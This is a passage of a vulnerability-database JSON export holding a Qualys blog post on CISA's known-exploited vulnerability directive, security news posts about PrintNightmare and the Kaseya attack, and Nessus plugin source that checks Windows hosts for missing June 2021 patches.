`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2021-08-03T08:35:33", "description": "Hello guys! The second episode of Last Week\u2019s Security news from June 28 to July 4.\n\nThe most interesting vulnerability of the last week is of course [Microsoft Print Spooler &quot;PrintNightmare&quot;](<https://www.tenable.com/blog/cve-2021-1675-proof-of-concept-leaked-for-critical-windows-print-spooler-vulnerability>). By [sending an RpcAddPrinterDriverEx() RPC request](<https://www.kb.cert.org/vuls/id/383432>), for example over SMB, a remote, authenticated attacker may be able to execute arbitrary code with SYSTEM privileges on a vulnerable Windows system. And there is a public PoC exploit for this vulnerability published by the Chinese security firm Sangfor. And there is some strange story. It turns out that Sangfor published an exploit for the 0day vulnerability. But they thought this vulnerability (CVE-2021-1675) had already been patched as part of the June Micorosft Patch Tuesday. And then it turns out that this is a bug in the Microsoft patch. But Microsoft wrote that this is a different, new vulnerability CVE-2021-34527 and so there were no problems with the previous patch. In any case, a patch for this vulnerability has not yet been released and [Microsoft is suggesting two Workarounds](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Option 1 - Disable the Print Spooler service, Option 2 - Disable inbound remote printing through Group Policy. Do this first for Domain Controllers and other critical Windows servers. All versions of Windows contain the vulnerable code and are susceptible to exploitation. Also note that the new vulnerability has a flag Exploitation Detected on the MS site. \n\nThe most interesting attack of the week is [Kaseya VSA Supply-Chain Attack](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689>). Kaseya Limited is an American software company that develops software for managing networks, systems, and information technology infrastructure. [Kaseya VSA](<https://www.kaseya.com/products/vsa/>) (Virtual System Administrator) is a cloud-based MSP (Managed Service Provider) platform that allows providers to perform patch management and client monitoring for their customers. So, REvil gang used around [30 MSPs across the US, AUS, EU, and LATAM where Kaseya VSA was to encrypt over 1,000 businesses](<https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/>). It is now believed that this was an attack on on-premises VSA servers using SQL injection and authentication bypass vulnerabilities. Well, by agreeing to use the MSP, be prepared for such surprises.\n\nContinuing the topic of vulnerabilities in services that simplify system administration, Finnish cybersecurity company Nixu [has published a writeup for Remote Code Execution](<https://www.nixu.com/blog/remote-code-execution-vulnerability-microsoft-intune-managed-windows-devices>) vulnerability in Microsoft Intune managed Windows devices ([CVE-2021-31980](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31980>)) from June Patch Tuesday. &quot;This proof-of-concept shows that remote attackers can run code with system privileges on a Windows machine by intercepting the TLS connections. This vulnerability could be exploited to install malware to the victim\u2019s machine to take persistent full control over it&quot;. Intune Management Extension updates itself without any user action when the computer is connected to internet. But computers not connected to internet might still run the vulnerable version on startup.\n\nI liked the [new Metasploit module](<https://vulners.com/metasploit/MSF:EXPLOIT/LINUX/LOCAL/DOCKER_RUNC_ESCAPE/>) that leverages a flaw in `runc` to escape a Docker container and get command execution on the host as root. It overwrites the `runc` binary with the payload and wait for someone to use `docker exec` to get into the container.\n\nAnd I want to mention these vulnerabilities: \n\n * [Microsoft Translation Bugs Open Edge Browser to Trivial UXSS Attacks.](<https://threatpost.com/microsoft-edge-browser-uxss-attacks/167389/>) &quot;Remotely inject and execute arbitrary code on any website just by sending a message&quot;.\n * [Pre-Auth Remote Code Execution Vulnerability (CVE-2021-35464)](<https://blog.rapid7.com/2021/06/30/forgerock-openam-pre-auth-remote-code-execution-vulnerability-what-you-need-to-know/>) in ForgeRock Access Manager.\n * The vulnerability in Windows 10 allows a low-privileged user to [wipe out arbitrary files needed for UEFI boot](<https://www.thezdi.com/blog/2021/6/30/cve-2021-26892-an-authorization-bypass-on-the-microsoft-windows-efi-system-partition>).\n * [Western Digital&#x27;s older network-attached storage systems](<https://www.darkreading.com/attacks-breaches/mybook-investigation-reveals-attackers-exploited-legacy-0-day-vulnerabilities/d/d-id/1341440>) allowed unauthenticated commands to trigger a factory reset, formatting the hard drives.\n * Microsoft Discloses [Critical Bugs Allowing Takeover](<https://thehackernews.com/2021/06/microsoft-discloses-critical-bugs.html>) of [NETGEAR Routers](<https://www.netgear.com/support/product/DGN2200v1.aspx>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-05T15:19:07", "type": "avleonov", "title": "Last Week\u2019s Security news: PrintNightmare, Kaseya, Intune, Metasploit Docker escape", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26892", "CVE-2021-31980", "CVE-2021-34527", "CVE-2021-35464"], "modified": "2021-07-05T15:19:07", "id": "AVLEONOV:30285D85FDB40C8D55F6A24D9D446ECF", "href": "http://feedproxy.google.com/~r/avleonov/~3/iv5hnOt7XD8/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:34:07", "description": "Hello everyone! Let&#x27;s now talk about Microsoft Patch Tuesday vulnerabilities for the second quarter of 2021. April, May and June. Not the most exciting topic, I agree. I am surprised that someone is reading or watching this. For me personally, this is a kind of tradition. Plus this is an opportunity to try Vulristics in action and find possible problems. It is also interesting to see what VM vendors considered critical back then and what actually became critical. I will try to keep this video short.\n\nFirst of all, let&#x27;s take a look at the vulnerabilities from the April Patch Tuesday. 108 vulnerabilities, 55 of them are RCEs. Half of these RCEs (27) are weird RPC vulnerabilities. &quot;Researcher who reported these bugs certainly found quite the attack surface&quot;. The most critical vulnerability is RCE in Exchange (CVE-2021-28480). This is not ProxyLogon, this is another vulnerability. ProxyLogon was in March. And this vulnerability is simply related to ProxyLogon, so it is believed that it is exploited in the wild as well. In the second place this Win32k Elevation of Privilege (CVE-2021-28310). It is clearly mentioned in several sources as being used in real attacks. &quot;Bugs of this nature are typically combined with other bugs, such as a browser bug or PDF exploit, to take over a system&quot;. And the only vulnerability with a public exploit is the Azure DevOps Server Spoofing (CVE-2021-28459). Previously known as Team Foundation Server (\u200bTFS), Azure DevOps Server is a set of collaborative software development tools. It is hosted on-premises. Therefore, this vulnerability can be useful for attackers.\n\nLet&#x27;s take a look at May. A very small Patch Tuesday. There are only 55 vulnerabilities. Vendors mainly wrote about HTTP Protocol Stack Remote Code Execution Vulnerability. But no catastrophe happened. &quot;tenable: On May 16, security researcher 0vercl0k published PoC code to github for CVE-2021-31166. Based on our analysis, this exploit could only result in a denial of service (DoS) condition&quot;. VM vendors also wrote a lot about Hyper-V Remote Code Execution Vulnerability. But there was no real exploitation there either. But a real exploit appeared for Remote Code Execution in Microsoft SharePoint (CVE-2021-31181). And exploitation in the wild was mentioned for Windows Container Manager Service (CVE-2021-31167), which no VM vendor mentioned at all. But the exploitation was &quot;Personally observed in an environment&quot;, so this may not be accurate. Also take a look at Memory Corruption in Microsoft Scripting Engine (CVE-2021-26419) with a public exploit and Information Disclosure in Windows Wireless Networking (CVE-2020-24587) with a sign of exploitation in the wild (but this also may not be accurate).\n\nAnd finally June. There are even fewer vulnerabilities, only 49. But there are a lot of them with a sign of exploitation in the wild. And this information is directly from Microsoft. Windows MSHTML Platform Remote Code Execution (CVE-2021-33742). Elevations of Privilege in Windows NTFS (CVE-2021-31956), Microsoft Enhanced Cryptographic Provider (CVE-2021-31199, CVE-2021-31201), Microsoft DWM Core Library (CVE-2021-33739). Windows Kernel Information Disclosure (CVE-2021-31955). Much more than usual. VM vendors have written the most about EoP in Windows NTFS (CVE-2021-31956). Do you know what vulnerability they didn&#x27;t highlight at all? Elevations of Privilege and later Remote Code Execution in Windows Print Spooler (CVE-2021-1675). The one that started the PrintNightmare story. Very ironic. Also pay attention to Spoofing in Microsoft SharePoint (CVE-2021-31950) for which there is a public Server-Side Request Forgery exploit. VM vendors also did not write anything about this vulnerability in their reviews.\n\nFull Vulristics reports:\n\n * [ms_patch_tuesday_april2021_report_avleonov_comments.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_april2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_may2021_report_avleonov_comments.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_may2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_june2021_report_avleonov_comments.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_june2021_report_avleonov_comments.html>)\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-10T00:14:59", "type": "avleonov", "title": "Vulristics: Microsoft Patch Tuesdays Q2 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-24587", "CVE-2021-1675", "CVE-2021-26419", "CVE-2021-28310", "CVE-2021-28459", "CVE-2021-28480", "CVE-2021-31166", "CVE-2021-31167", "CVE-2021-31181", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31950", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-33739", "CVE-2021-33742"], "modified": "2021-07-10T00:14:59", "id": "AVLEONOV:9D3D76F4CC74C7ABB8000BC6AFB2A2CE", "href": "http://feedproxy.google.com/~r/avleonov/~3/zKo35MmSBcA/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-02-16T14:28:25", "description": "The remote Windows host is missing security update 5003695. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003695: Windows Server 2008 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31962", "CVE-2021-31971", "CVE-2021-31973", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003695.NASL", "href": "https://www.tenable.com/plugins/nessus/150357", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150357);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31962\",\n \"CVE-2021-31971\",\n \"CVE-2021-31973\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003661\");\n script_xref(name:\"MSKB\", value:\"5003695\");\n script_xref(name:\"MSFT\", value:\"MS21-5003661\");\n script_xref(name:\"MSFT\", value:\"MS21-5003695\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003695: Windows Server 2008 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003695. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003695\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003661\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003695\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003695',\n '5003661'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(vista:'2') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.0', \n sp:2,\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003695, 5003661])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:28:10", "description": "The remote Windows host is missing security update 5003694. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003694: Windows 7 and Windows Server 2008 R2 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31971", "CVE-2021-31973", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003694.NASL", "href": "https://www.tenable.com/plugins/nessus/150368", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft 